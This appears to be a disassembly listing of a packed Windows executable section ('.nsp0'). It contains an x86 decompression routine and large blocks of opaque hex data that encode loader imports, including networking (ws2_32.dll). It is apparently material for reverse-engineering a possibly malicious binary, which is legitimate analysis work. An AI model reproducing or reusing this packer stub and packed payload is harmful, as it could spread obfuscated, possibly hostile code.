dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0C7C681D3h, 81000007h dd 0E81DC5CAh, 0BB3Fh, 0D78A0000h, 0F3334FFh, 0B25FC2B7h dd 0FEF781A3h, 66695841h, 8142EDB8h, 23AD5FC7h, 0CAB70F47h dd 0F3ACEF81h, 8B665F7Dh, 815157C7h, 5A2AA0F0h, 48F5A50h dd 0E86FB11Eh, 14h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h dd 0FB8AF52Ch, 8358F58Ah, 816604EBh, 8139E1CAh, 0FFF8D0FBh dd 9D850FFFh, 80FFFFFFh, 8C0F60DCh, 0 dd 6E8h, 34074600h, 8AA3D25Dh, 10E85AF9h, 0B8000000h, 64F7F691h dd 0D09382CDh, 0FCEFCEC9h, 660BDA85h, 815BC88Bh, 723C2h dd 2BCEB500h, 0DE9FFh, 56710000h, 0E2ADC4D7h, 2EA93073h dd 8B655CCFh, 0E1683A04h, 0E94C3A03h, 9, 6063921Dh, 8CBFDE19h dd 0E8815ED5h, 60ABEF04h, 6870Fh, 0D6810000h, 4356EA90h dd 2CEDE881h, 0B9576D20h, 7D3CA7CBh, 22E8815Eh, 0B330B187h dd 3A04897Ah, 0E820Fh, 0E8510000h, 6, 6D849716h, 5B5E33A2h dd 0EF83FC8Ah, 8EDDB904h, 0FF812B78h, 0FFFFF988h, 0FF95850Fh dd 0D681FFFFh, 111AD44Ch, 4F81B966h, 0BE8h, 0BD146700h dd 0B98003B2h, 75AC5FFEh, 58D08B66h, 668C081h, 0CA8B0000h dd 168BEh, 0E186BA00h, 30FF0D1Bh, 815B3CB5h, 1B3413F3h dd 20A4BF46h, 0EB815891h, 3D252650h, 9D28166h, 49EB817Eh dd 0E84C5DE0h, 11h, 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h dd 5989B635h, 4890F53h, 52000000h, 8F5AD6B5h, 5E900h, 1E590000h dd 8315CCFFh, 685204E8h, 102A1164h, 0C9F78166h, 835F5ADBh dd 850F01EEh, 1Bh, 0E9FBB70Fh, 39h, 8AF52CDFh, 567118FBh dd 0E2ADC4D7h, 2EA93073h, 0E9655CCFh, 0Dh, 0F4C706E1h dd 6063921Dh, 8CBFDE19h, 0FF64E9D5h, 78DBFFFFh, 24B7B651h dd 9053428Dh, 0BCAF8E89h, 0FE945h, 8AB0000h, 0B487C6A1h dd 202352DDh, 4C7F9ED9h, 0FE895h, 389B0000h, 0E4777611h dd 5013024Dh, 7C6F4E49h, 14D88105h, 5A31A257h, 0D7D080BBh dd 86C2814Dh, 8B000005h, 13768C3h, 0D8810000h, 63B10F62h dd 66328B59h, 8128BABBh, 0B54C6DEEh, 0A2F68160h, 0E833C8F0h dd 9, 0E0E3129Dh, 0C3F5E99h, 0D88B6655h, 33C6815Bh, 66052C01h dd 3289F88Bh, 6E8h, 0D427E600h, 0FC3727Dh, 835FFBB7h, 0E98304EAh dd 16850F01h, 0E9000000h, 30h, 882B7AA5h, 34074621h, 0A0A3D25Dh dd 0CCFF1E59h, 28E0F15h, 8B000000h, 0FF93E9C3h, 9382FFFFh dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0E8h dd 895B5D00h, 8958575Dh, 3C385h, 7D805800h, 55750156h dd 3DB8589h, 8D600000h, 33502F45h, 30FF64C0h, 8B208964h dd 2A2E8C3h, 1CEB0000h, 824648Bh, 68F6764h, 0C4830000h dd 458D6104h, 55FF505Bh, 29CE857h, 9EB0000h, 68F6764h dd 0C4830000h, 17EB24h, 77E79F93h, 6E72656Bh, 32336C65h dd 6C6C642Eh, 24DE800h, 8DFC0000h, 84B5h, 0C00BAD00h, 0F88B1B74h dd 0CB9h, 0EBA4F300h, 40100010h, 0BB432800h, 0A21119B2h dd 3A7C7180h, 0DFA5896Bh, 6A000003h, 10006804h, 0B5FF0000h dd 3BEh, 95FF006Ah, 3AAh, 1758589h, 9D8B0000h, 3B6h, 3C39D03h dd 53500000h, 0B5E8h, 68046A00h, 1000h, 3BEB5FFh, 6A0000h dd 3AA95FFh, 85890000h, 179h, 175958Bh, 0F8BB0000h, 8B000001h dd 0B0C1A7Ch, 8B1E74FFh, 0B101A4Ch, 31174C9h, 179BDh, 1A748B00h dd 0C1F20314h, 0A5F302F9h, 0EB28C383h, 75858BDAh, 50000001h dd 179958Bh, 8B520000h, 8BDA0318h, 39E85h, 8B038900h, 3A285h dd 4438900h, 3A6858Bh, 43890000h, 8B5E5F08h, 0C7030446h dd 1708589h, 9D8D0000h, 3C3h, 6A006A53h, 57016A00h, 3085E8Bh dd 6853DFh, 6A000080h, 95FF5600h, 3AEh, 37B00068h, 0C300h dd 34h db 36h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp pusha push ebp mov esi, [ebp+8] mov edi, [ebp+0Ch] cld mov dl, 80h loc_46B57C: ; CODE XREF: .nsp0:loc_46B58Bj mov al, [esi] inc esi mov [edi], al inc edi loc_46B582: ; CODE XREF: .nsp0:0046B5E0j ; .nsp0:0046B625j ... add dl, dl jnz short loc_46B58B mov dl, [esi] inc esi adc dl, dl loc_46B58B: ; CODE XREF: .nsp0:0046B584j jnb short loc_46B57C add dl, dl jnz short loc_46B596 mov dl, [esi] inc esi adc dl, dl loc_46B596: ; CODE XREF: .nsp0:0046B58Fj jnb short loc_46B5E2 xor eax, eax add dl, dl jnz short loc_46B5A3 mov dl, [esi] inc esi adc dl, dl loc_46B5A3: ; CODE XREF: .nsp0:0046B59Cj jnb loc_46B67F add dl, dl jnz short loc_46B5B2 mov dl, [esi] inc esi adc dl, dl loc_46B5B2: ; CODE XREF: .nsp0:0046B5ABj adc eax, eax add dl, dl jnz short loc_46B5BD mov dl, [esi] inc esi adc dl, dl loc_46B5BD: ; CODE XREF: .nsp0:0046B5B6j adc eax, eax add dl, dl jnz short loc_46B5C8 mov dl, [esi] inc esi adc dl, dl loc_46B5C8: ; CODE XREF: .nsp0:0046B5C1j adc eax, eax add dl, dl jnz short loc_46B5D3 mov dl, [esi] inc esi adc dl, dl loc_46B5D3: ; CODE XREF: .nsp0:0046B5CCj adc eax, eax jz short loc_46B5DD push edi sub edi, eax mov al, [edi] pop edi loc_46B5DD: ; CODE XREF: .nsp0:0046B5D5j mov [edi], al inc edi jmp short loc_46B582 ; --------------------------------------------------------------------------- loc_46B5E2: ; CODE XREF: .nsp0:loc_46B596j mov eax, 1 loc_46B5E7: ; CODE XREF: .nsp0:loc_46B5FBj add dl, dl jnz short loc_46B5F0 mov dl, [esi] inc esi adc dl, dl loc_46B5F0: ; CODE XREF: .nsp0:0046B5E9j adc eax, eax add dl, dl jnz short loc_46B5FB mov dl, [esi] inc esi adc dl, dl loc_46B5FB: ; CODE XREF: .nsp0:0046B5F4j jb short loc_46B5E7 sub eax, 2 jnz short loc_46B62A mov ecx, 1 loc_46B607: ; CODE XREF: .nsp0:loc_46B61Bj add dl, dl jnz short loc_46B610 mov dl, [esi] inc esi adc dl, dl loc_46B610: ; CODE XREF: .nsp0:0046B609j adc ecx, ecx add dl, dl jnz short loc_46B61B mov dl, [esi] inc esi adc dl, dl loc_46B61B: ; CODE XREF: .nsp0:0046B614j jb short loc_46B607 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_46B582 ; --------------------------------------------------------------------------- loc_46B62A: ; CODE XREF: .nsp0:0046B600j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_46B638: ; CODE XREF: .nsp0:loc_46B64Cj add dl, dl jnz short loc_46B641 mov dl, [esi] inc esi adc dl, dl loc_46B641: ; CODE XREF: .nsp0:0046B63Aj adc ecx, ecx add dl, dl jnz short loc_46B64C mov dl, [esi] inc esi adc dl, dl loc_46B64C: ; CODE XREF: .nsp0:0046B645j jb short loc_46B638 cmp eax, 7D00h jnb short loc_46B66F cmp eax, 500h jb short loc_46B66A inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46B582 ; --------------------------------------------------------------------------- loc_46B66A: ; CODE XREF: .nsp0:0046B65Aj cmp eax, 7Fh ja short loc_46B672 loc_46B66F: ; CODE XREF: .nsp0:0046B653j add ecx, 2 loc_46B672: ; CODE XREF: .nsp0:0046B66Dj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46B582 ; --------------------------------------------------------------------------- loc_46B67F: ; CODE XREF: .nsp0:loc_46B5A3j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_46B69B adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46B582 ; --------------------------------------------------------------------------- loc_46B69B: ; CODE XREF: .nsp0:0046B687j pop ebp sub edi, [ebp+0Ch] mov [ebp-4], edi popa pop ebp retn 8 ; --------------------------------------------------------------------------- db 40h dd 8B77E821h, 3D242444h, 77E00000h, 67640A73h, 68Fh, 0C324C483h dd 0FF000025h, 5FFh, 2D0001h, 66000100h, 5A4D3881h, 8960F475h dd 3B285h, 8BD08B00h, 3C4003D8h, 89785803h, 2B69Dh, 869D8D00h dd 8D000003h, 39EBDh, 89338B00h, 336B5h, 0BE800h, 83AB0000h dd 3B8304C3h, 61EA7500h, 9D8B60C3h, 2B6h, 3204B8Bh, 3318BCAh dd 2FE8F2h, 0CEBF0000h, 3B49CD75h, 830574C7h, 0E9EB04C1h dd 2B204B2Bh, 3E9D1CAh, 0CA03244Bh, 0C109B70Fh, 4B0302E1h dd 8BCA031Ch, 89CA0309h, 611C244Ch, 8EBA52C3h, 0AC9C3B24h dd 1474C00Ah, 8B0D032h, 673EAD1h, 0F39AF281h, 0C8FEC1A7h dd 0E7EBF275h, 0A7C35A92h, 0F0B72551h, 57A7493Bh, 13901902h dd 0CE74EE32h, 49CD75h, 0FD000000h, 9377E7A5h, 0D877E79Fh dd 0A77E805h, 3477E798h, 77E79Eh, 0E077E600h, 4C0006B9h dd 0C4h, 1D0h, 2 dup(400000h), 3 dup(0) dd 22108h, 0 dd 12FFA4h, 0 dd 1000h, 1F400h, 0EF12h, 21000h, 1C00h, 0B8Ah, 23000h dd 15C00h, 6DD9h, 47h dup(0) dd 90000000h, 2000h, 8, 6 dup(0) dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 6B950h, 6B93Ch, 3 dup(0) db 0CCh db 0B9h, 6, 0 dd 6B9D7h, 5 dup(0) dd 5F327377h, 642E3233h, 36006C6Ch, 71AB18h, 0 dd 1B838A4h, 8B06270h, 10A32F0h, 21019C7Fh, 23D0715Dh dd 1089AE15h, 406FBB1Ch, 9632F115h, 0E34D0409h, 501F24EAh dd 289A15A3h, 0EA660ECh, 0B2289E57h, 0BF509A70h, 22801128h dd 0F2A24602h, 48902420h, 50A49512h, 0A89B0ECh, 28BDB612h dd 0DE0EC094h, 70DFAF26h, 10243804h, 6000C40h, 69727453h dd 67350E6Eh, 1A01958h, 8E042050h, 2AE43300h, 922F018h dd 0F84400F4h, 29CC88ECh, 1338E081h, 7190028h, 6A624F54h dd 3630065h, 5025FF74h, 81004171h, 1091C08Bh, 48C84Ch dd 407244E4h, 381C3C39h, 34478E00h, 2C913023h, 0E42800C8h dd 39207224h, 86E31C60h, 14231822h, 0CC80046h, 47208E4h dd 5CE8843Bh, 70FC3800h, 23F8478Ch, 0D3BF00F4h, 86C2920h dd 0CA3C6891h, 0EC650FF0h, 998C2032h, 0FE4C8818h, 805EC084h dd 78907C23h, 8353C000h, 49BBBCC4h, 0C59010Ah, 0DF3E854h dd 2444C0F6h, 74012C00h, 78B70F05h, 301B005Ch, 0FB38C38Bh dd 200AD5Bh, 431EE82Ch, 0E434A5h, 99E06432h, 0D81CDC08h dd 23D472C0h, 80CC90D0h, 4C03BE56h, 8312C764h, 3A75803Eh dd 67440068h, 16ACC06h, 80E6A7E8h, 0C88B0E00h, 575C985h dd 0C0330018h, 48A1CA5Eh, 890E43C7h, 0F0D2501h, 8BD2C008h dd 703C2h, 0C1448DC0h, 891E8104h, 6C8180Fh, 0FA83A042h dd 0EC7564h, 109F1FCFh, 90591699h, 541DDB01h, 58E80440h dd 3BECF2C8h, 0E78033D8h, 30ED8597h, 16008B49h, 8503A89h dd 71045699h, 213FC0Ch, 586233EFh, 37414214h, 1C4A3003h dd 0A2501907h, 0F9B0FD08h, 0E9451h, 3E999115h, 0C30743A3h dd 5790030Fh, 0F18BE055h, 12414F9h, 5022E8D4h, 0EC049760h dd 5D006A46h, 0BF90BEEBh, 43B03Bh, 5303D0A0h, 16120C79h dd 2147503h, 0A06FE813h, 3126B9ADh, 0C909646h, 0EB04D801h dd 3E45000h, 0C23B4EC1h, 5D0D1275h, 0D03C071Dh, 0A7EBA7DFh dd 0D67ED07Ch, 0E803C519h, 42842B3Fh, 6AF000A0h, 5F5D2A5Ah dd 8D074C89h, 207451A8h, 0BFA3F880h, 0FB7493h, 3BA10732h dd 0D16C72F0h, 4A03CE0Eh, 1DE8E086h, 18D86Eh, 245E77CDh dd 43FB1B75h, 6601BC00h, 0AA290CFFh, 7B830E39h, 44E040C8h dd 97EB9465h, 870A3D12h, 0CE038900h, 4DF877h, 41CFF530h dd 0DC7329FEh, 0D926EB02h, 4089852Ah, 60752BB1h, 96CFD6F9h dd 0D0030F12h, 6A77B9B4h, 788590D4h, 900C00EBh, 0A887E90Dh dd 0FB3E3B1Bh, 561C83E6h, 0FF2A9259h, 0DA8B3910h, 81F0000Ch dd 0E0104EFEh, 739287Dh, 54DF00BEh, 3BFFC6CEh, 0E6B30014h dd 89100860h, 6A000473h, 32680138h, 561820h, 8B7C049h dd 3B8903F8h, 74FF850Fh, 0B8D36023h, 38489250h, 138064ACh dd 0E488804Ah, 37E0D8Bh, 4FBFE800h, 64AAF857h, 1F557DC1h dd 40B424D9h, 447C414h, 6A7D3B61h, 85D6500Eh, 532CA00Ch dd 1F5775h, 29A39C79h, 839E3125h, 95000590h, 5ADCEA77h dd 0EC6C49h, 13214CFDh, 98C7E424h, 834E307h, 667003FFh dd 31D954D7h, 9721D01h, 0F7C5F0D8h, 102A9E0Fh, 124F80D4h dd 4951EBh, 900173F3h, 0E44677EEh, 7679C648h, 35BDFB0Eh dd 0C4742AFEh, 89C0871Dh, 4715670Dh, 6BFD0076h, 567599EAh dd 0D0007354h, 5C70A86h, 0F8D2C6Dh, 1065C21Bh, 0FB81DF00h dd 75015907h, 460ACA7h, 83F8EDC3h, 7050007Ch, 0FA319C0h dd 8F40DA5h, 158A2200h, 0B4972B0Ch, 0AFC9001Dh, 9A14AC42h dd 0B83DB1B9h, 853180F4h, 5C81EAC8h, 50FD00E5h, 1ADE03BAh dd 0D203C25Dh, 0E2204E0Fh, 40D4921Fh, 6F7888h, 2B450D28h dd 0D54637C5h, 0CF333501h, 45EFB3Ch, 770C7ED0h, 90C10003h dd 0DDF10276h, 0A0907FDBh, 0DC6BA0Eh, 1EF00098h, 0E2105891h dd 922B003Dh, 5A155357h, 0A624D4C1h, 140074A3h, 0BA290F36h dd 86BC3A94h, 0AC920C83h, 0C9882C74h, 0F300B684h, 8232A285h dd 3419E6h, 3EB9E41h, 613F651Dh, 0F730C903h, 0F00FCA2Bh dd 1385185h, 241C0E0Bh, 2077DF73h, 7A09EFBAh, 0FD158Dh dd 4081A1CCh, 4227071Dh, 804A0288h, 3862C051h, 45C7B400h dd 560BD43h, 0FFE0FB37h, 874E003Fh, 0F5C00CE7h, 0D41FC55Dh dd 0FC03B33h, 4A612C7Fh, 64D700F1h, 1F38E855h, 77005C05h dd 0F5507487h, 498D46h, 3E4216DAh, 0A27358Bh, 0C900DD7Dh dd 0E8C7AA91h, 3483B31h, 0CCFC212Fh, 87E8BAB1h, 3C01830Ch dd 0D7A55C24h, 6E44323h, 0AC6700E8h, 0C2E659CDh, 10004737h dd 0F4B5CA6h, 1FA8B74h, 76933F0Ah, 0EA620250h, 559885C0h dd 0F575281Dh, 575489h, 968E2A2Ah, 8D4901E0h, 2BA950DAh dd 9CA2F4B2h, 0E8566803h, 0D080A4EFh, 82A1B9h, 0C379D33h dd 86A9C924h, 1F90493Dh, 16C0B175h, 53EF278Bh, 986DF88Ch dd 0E9820002h, 4EB207DEh, 960EA062h, 0A0344347h, 9A66850Fh dd 4BA701FFh, 0CA48EBC3h, 0F527706Bh, 3A007577h, 1D159249h dd 3CA66DD8h, 51B9217Ah, 9B388380h, 0DA1128A8h, 4F464001h dd 524509AAh, 0A23A20h, 6A4A9A07h, 0A480C5C7h, 8B89230Fh dd 8D00BEF9h, 431C4698h, 364C00E3h, 0D4F0031Eh, 7000BE6h dd 5B73DE3Bh, 81CFF4h, 8AD32B74h, 0CC05B38Bh, 22B85100h dd 7CB9534Fh, 205C0060h, 1F74DB85h, 9500B6A5h, 4B96B4C3h dd 3E128939h, 2B03CB47h, 14F60811h, 3C94F288h, 92FB880Eh dd 77A40EBh, 8D8EAAh, 0EC81854Bh, 68449C1Dh, 0C0192E1Eh dd 32FF64C0h, 0B07B89E6h, 28300BACh, 348040C7h, 606C3D79h dd 0A7E1600h, 0CF4513A4h, 22610776h, 0B09ED537h, 68508CC8h dd 10F848h, 62A3CC28h, 7E832D88h, 8406003Dh, 3B8262Fh dd 150045BEh, 0C9330E05h, 182C080h, 3D2A40F4h, 700DAF01h dd 7000B841h, 73BE2C27h, 7C62C8h, 2805C684h, 0EA0014Ah dd 34595A00h, 68100A8Ch, 29970735h, 80D75187h, 548FE9C3h dd 0E5C81E00h, 5D2EA050h, 6FC400A4h, 229F4C53h, 84030F1Ah dd 0D290D5CCh, 2985C012h, 937A07C8h, 0C5A18268h, 4A278091h dd 1E0225AFh, 0F4DCB235h, 0E9B08012h, 46D509h, 0BBB3983Dh dd 7EE692B5h, 254E0307h, 749081B8h, 7323817h, 5E57153Eh dd 75058053h, 0CA0019E9h, 1A94DA77h, 0A523Bh, 0C2E4DF29h dd 0E0805BDBh, 51C537Ch, 996A17Ch, 1528F800h, 13DF0Bh dd 81084802h, 27ADE4F9h, 387F38h, 0C985176Dh, 2E031C79h dd 3997C183h, 0D2D50200h, 0F481CD97h, 4A24EB00h, 46DA5117h dd 0F02C3D18h, 0CBFF580h, 1582D678h, 0D709AE0Ch, 1E9D6652h dd 56EB938Ch, 0EDB500B5h, 30772C1h, 0CF0CEE00h, 12C2160Fh dd 0FA7F81h, 66E87518h, 1185B910h, 650348h, 40C45D8Eh dd 0E983CAh, 761C97B8h, 10FA0201h, 0C70F7C00h, 8070C803h dd 0D14C008Bh, 0D80C2085h, 40028A0h, 4286F37Ch, 4802C981h dd 8007D2Dh, 0FF260B30h, 0A4001C05h, 83D00CB8h, 0AB04EAh dd 0E4FC4CE2h, 1177F30h, 91201509h, 0BA858093h, 6EC33Ch dd 0A90E7C0Ch, 2B6502CAh, 84C1F200h, 558668DBh, 1CE22E4Ah dd 83C200A5h, 8B1FE20h, 48484D26h, 92E10Bh, 742506EDh dd 42A3F31h, 54B0DA80h, 802B64A1h, 33C8AE00h, 0FEC2F711h dd 0ACE20FB2h, 0F621EB20h, 0DCFAC701h, 0A770468Ah, 2B087200h dd 0EB703BC6h, 61E0158h, 0C517E888h, 84AB60F9h, 64A25501h dd 33D8CB9Eh, 0A9F0A0E9h, 67050085h, 5A1F250Bh, 0C4FFF85Fh dd 200A824h, 3C13753Bh dd 2C62AF3h, 5046FE32h, 0CC411608h, 0C725E023h, 4AB09604h dd 70C359F8h, 66AE987Bh, 3F2E394Dh, 80B3DC1Fh, 2B37A08Dh dd 0F30FA9D1h, 61C9437Fh, 0C67D64CEh, 76F1C5C8h, 8E90F4h dd 53B5BF6Bh, 0E766C892h, 0EB074003h, 0E0250F6Fh, 8D1CEFh dd 0FE11EA46h, 4FD6902Ch, 0B923ED01h, 2BD5D830h, 0B5C8E4h dd 62AA4DABh, 40736BF8h, 0C29A3Ah, 148D0A18h, 0E8D0BCh dd 3C1AFF51h, 0C1F858EFh, 5901B000h, 0D248395Ah, 413003D7h dd 747389DFh, 0C61E03D0h, 52E88300h, 81010495h, 4ECC0EFEh dd 85A7C437h, 0C23513D2h, 4CD9FAF0h, 904D701Ch, 80BCF48Bh dd 89200DDEh, 5BE8005Ch, 1B138798h, 4C0F3AEBh, 11243E3h dd 5A1D92B6h, 2CA930h, 7C023C7Fh, 939590Dh, 0E40BCF02h dd 40171483h, 12633EDh, 2E6AB31Dh, 0D0BC5B5Ah, 8000101Fh dd 9547E8Fh, 72FD94h, 7118393h, 0A12BEB0Ah, 0C8F23E90h dd 15B98200h, 8C8A1284h, 19260107h, 8DAFCA52h, 0E444C50Fh dd 483978B3h, 72670F6Bh, 0F801B60Eh, 0FCC23FA5h, 2C0CC060h dd 7213551h, 45E48C21h, 523FC112h, 0D85860E0h, 2A269000h dd 7BA927E8h, 1190029h, 3200447h, 0F30F0B9Dh, 20247449h dd 1781C63Fh, 0AB971DE8h, 842D4333h, 76DE117Ah, 5932C700h dd 5EDF6D48h, 35F5006Fh, 3E7D8237h, 2100834Dh, 10FE935Dh dd 6C949Dh, 74D4CFC9h, 33E809F1h, 97C60639h, 74003698h dd 0D3B96C4h, 20750BCAh, 37809002h, 0BEC6490Ch, 0CC005EFEh dd 2152E18Dh, 1B7CAAAh, 2C602931h, 0C88F2482h, 4000BAA2h dd 3D0226F8h, 17F42EFh, 0BB5C5116h, 0F0825412h, 750FD2AAh dd 0C05E5308h, 34A913EAh, 0BFDCFD84h, 32EE844h, 64E180BDh dd 77A85374h, 84008E0Fh, 1F1728B1h, 17E6C88h, 920B7B4Ch dd 2031D719h, 0EBFE8EA3h, 281F421Ch, 0F4BB7483h, 1663C826h dd 0D10D00E4h, 120E2767h, 410049D8h, 0C71B954Eh, 1E07889Ah dd 0C042E909h, 18EB3BF6h, 2900A448h, 927D830Ah, 78498C7h dd 38153DFDh, 0C4B3F045h, 8C033501h, 0D9B1D628h, 0F30AD04Bh dd 32CE13EEh, 51500044h, 3E66F54Ch, 0B0EEBCE8h, 658B6100h dd 0D33C7405h, 0D6030017h, 0EB4D3292h, 0F20011C1h, 5758C41h dd 3D69DAh, 5CAD3307h, 4E0E6A01h, 5D4B7E00h, 5595D464h dd 2DB6008Dh, 0A50A9617h, 291DDAE8h, 99C094B1h, 0C2E9FC82h dd 32D54CAFh, 0EA685500h, 40265A20h, 85213100h, 7C383E1h dd 46E300CEh, 0D282FBB2h, 0AE05BB05h, 52810F8Bh, 8F501F87h dd 1DCDB693h, 81841C49h, 7974427Dh, 3C6E848h, 0A7C3520Fh dd 5506124h, 263075D0h, 840D012Ah, 890B4BB8h, 0E19B607Ch dd 2801BC98h, 183DE29Fh, 0AF08F44h, 214D07D9h, 2006AD84h dd 61780D2Eh, 52757D00h, 0BC2AEFA5h, 40F204AEh, 80841DEBh dd 4C1F41A4h, 483BD01Eh, 7F82E180h, 4AB294Ah, 35541408h dd 8E55C00Dh, 9200492Ah, 0D3651D88h, 0F27D557Bh, 109A0032h dd 41690E53h, 80F92C5h, 4F620C7h, 6E87568Bh, 0A8995D30h dd 92881224h, 91FA0751h, 6048E7FAh, 59141FA2h, 9FF01602h dd 0C0A8F562h, 73E912EAh, 99610368h, 0D61B2266h, 0F15DE0D7h dd 0F6001E40h, 0F7502C3h, 904443A4h, 38620940h, 718CFF79h dd 897FC33Ch, 5AB56005h, 0AC003A29h, 74015430h, 8B5D0245h dd 9C7204E9h, 67B545C0h, 71F7D500h, 53CC29E0h, 0A21043Fh dd 0C02B484Ch, 7C463BC5h, 95031800h, 0A69A0C89h, 0A4570059h dd 0F8824EE2h, 44033D3Bh, 2C752448h, 0C456A071h, 814B0080h dd 0B50D4B2h, 5007E2Eh, 709A6985h, 0B8A54Ah, 4108BDCh dd 7402C2F6h, 1EE61C3Ah, 2880FA17h, 0E840BF4h, 8830237h dd 8B29A301h, 0D0781FE0h, 0B5BB601h, 16065D4Ch, 0C0D30h dd 8B13C524h, 598E9F14h, 0D38A3200h, 66252C88h, 933D01A1h dd 226D62A6h, 0E2864017h, 82E897B0h, 8C65305h, 8B80E6EDh dd 7BE21h, 0F15E88Bh, 14DE7E5Dh, 0C2F1B800h, 40C703C5h dd 0FE3B3DC8h, 838C0F81h, 60D70B1Ch, 0BD00639Dh, 75F831FDh dd 0E06C38h, 36052913h, 1791253h, 0E17D9900h, 0A94C8D0Fh dd 29160EECh, 0DE60901Fh, 22E9F743h, 33041400h, 203F6D8h dd 542803BDh, 9ED401D3h, 0FB52D790h, 8B1BD8E1h, 50DD5Ch dd 0FE835DD2h, 3ECE89h, 35EAF594h, 5693C4Ah, 0B5C7A91Eh dd 67845C40h, 4F2E96h, 537C23B8h, 68A9C2BCh, 0F715B600h dd 18E50EB1h, 14280054h, 8F350385h, 80E35019h, 1DA42CBCh dd 252638h, 0F00B401Ch, 0D7947589h, 3BE90D00h, 54CA23DDh dd 0A4DF0095h, 784D49B1h, 0B00C22Dh, 2FE4EB7Fh, 23B06h dd 560E7D9Ah, 0DA293E83h, 0E531E000h, 9E262CEBh, 6A870052h dd 0E64D124h, 86004095h, 0D3BB48C7h, 1E3A1Fh, 27E2A934h dd 2E89298Fh, 4656EE00h, 390C4821h, 5F78D8h, 0F37A09A0h dd 74286244h, 131C77EEh, 21C02BE9h, 5A19EB4Ah, 0F7D200A7h dd 0A27458B8h, 0FC00EDF2h, 0F114FBC2h, 5F98822h, 0C79CDE24h dd 73928028h, 5008012h, 0EBFC5D89h, 6C9A36h, 330F4732h dd 48030BF8h, 859FB200h, 0DBC629Ch, 7DF0004Fh, 92F3802h dd 500011F8h, 91CB041Ah, 91613E8h, 0CF84EBB8h, 7D898B00h dd 691D93CEh, 0CB009760h, 40C8388Bh, 16FF000Ah, 58501015h dd 10014D7h, 7E8492C3h, 4C55CA87h, 7C9190h, 2247532h, 85088B70h dd 74C9121Eh, 0E90080D2h, 0C86E8950h, 33D10242h, 0ED197559h dd 0F9EC23E0h, 3A002B7Dh, 9952EB95h, 31065h, 32D753D0h dd 989EE722h, 5E09300h, 58040DF0h, 3AF00AAh, 0D1FF025Ah dd 80008A48h, 79BEA0B5h, 383E80Bh, 0FB8B3F40h, 0E988083Dh dd 0CBE0242Fh, 0C9C8CC01h, 0CDE8CFD7h, 0DBCEC0h, 0DAD9CAD8h dd 0DE07DDDCh, 0E1E0DF00h, 0E5E402E3h, 505800C8h, 2E515552h dd 90FB8D1h, 805ABC8Ah, 0C03188B2h, 50C900CCh, 808F1EA8h dd 101FA284h, 0D2870FA0h, 1160888Bh, 0A99089h, 91A4C806h dd 0C6BF3ECBh, 16D7B000h, 1277F739h, 2F740013h, 2A7829C0h dd 0A5017FF3h, 0E13B83F0h, 31C4A403h, 5C747130h, 7C3BE80Eh dd 19A00F00h, 1AA6FD11h, 0CDCBB000h, 2541C706h, 0C380052h dd 5BEAE8C3h, 6000E29Eh, 0B70FA973h, 107F045h, 663CC06Bh dd 0F0F27603h, 4000E0DEh, 1F4558Bh, 3F669D0h, 0B68248E8h dd 2B81964h, 3C1F0589h, 0E5DCFAAFh, 83908A00h, 260CECh dd 31BFD99Bh, 241C2D08h, 95DF2100h, 2C164C8Ch, 2B5900FEh dd 14985A58h, 1D07CFC7h, 0D69D078Ah, 0E83C920h, 0C2880046h dd 0A72CA80h, 141717ECh, 72070147h, 28E0FEC0h, 0F1EB2D1h dd 69EEEBFFh, 0C0D26705h, 0D08046A4h, 0F127212h, 0E776100h dd 5CA3D1EFh, 2103A317h, 3BDD75Ch, 760F2AF0h, 0CAB0F700h dd 0C939E8EBh, 64630048h, 68350A8Ah, 0F5E06241h, 18E9C102h dd 0E052E09Ah, 275588h, 0F451D830h, 12EEF6CEh, 26002BB0h dd 1A80F21Ch, 3F75D939h, 158E4E45h, 2D4089B0h, 1BCB5A73h dd 27873803h, 90C23708h, 0E2914Eh, 327506EBh, 5EAE16B9h dd 300D170h, 88A3674h, 580A193Ah, 1300AF75h, 0F40148E4h dd 0ED16E74Ah, 4C079025h, 0EC800220h, 0B5311Ah, 386C232Eh dd 0FDE8107Ah, 4FC48h, 0EBD895DEh, 77411DD6h, 90310002h dd 0CD8815BBh, 0E0040D86h, 440C6610h, 9646E80h, 0ABF31D34h dd 0AA7DC012h, 69405F62h, 2B441500h, 8714CB8h, 8942052Ah dd 80F7260Bh dd 541A25D6h, 50B54100h, 0DC73AE34h, 0DB8607C0h, 102CCBFh dd 401E8A0Ch, 7420FBD8h, 11F8382Eh, 762D0E00h, 17C0A69h dd 2466402Bh, 0D8787F84h, 0FE0E5861h, 0C230815Ch, 0E02856ABh dd 0F4FE9h, 23DB844Ah, 3F04EB20h, 0F7340D02h, 60243060h dd 392CC4h, 281FF874h, 18E048Dh, 0D84DC000h, 75348255h dd 0CDFE0EE6h, 0D400C463h, 3159127Ch, 0CB89F628h, 46140200h dd 0D8F701FEh, 78F00B7Eh, 0A507ECEEh, 0E03747F6h, 0BC7251C5h dd 0FFF8BF00h, 74320F54h, 92DF3961h, 94030FFDh, 86A020A2h dd 40100B76h, 3E051100h, 0C399D077h, 0C9BF000Ah, 0B004EE42h dd 0EB1FD55Dh, 5042A907h, 84D3FFB1h, 9EC7E8B5h, 884000CEh dd 0C9FE28h, 3C5AF275h, 2A8D029h, 0FF16FC00h, 30E35825h dd 0DB330012h, 40ABF2E0h, 0F008318h, 1C7507F8h, 0C018Ah dd 0E127259Ch, 0EBC23DAEh, 70005BE4h, 5381A224h, 37101B3h dd 4FA07615h, 8788C384h, 503F8205h, 0F82C8E5Ah, 0EC3C408Dh dd 368866Ah, 0B1C7805Bh, 27A05259h, 660133E8h, 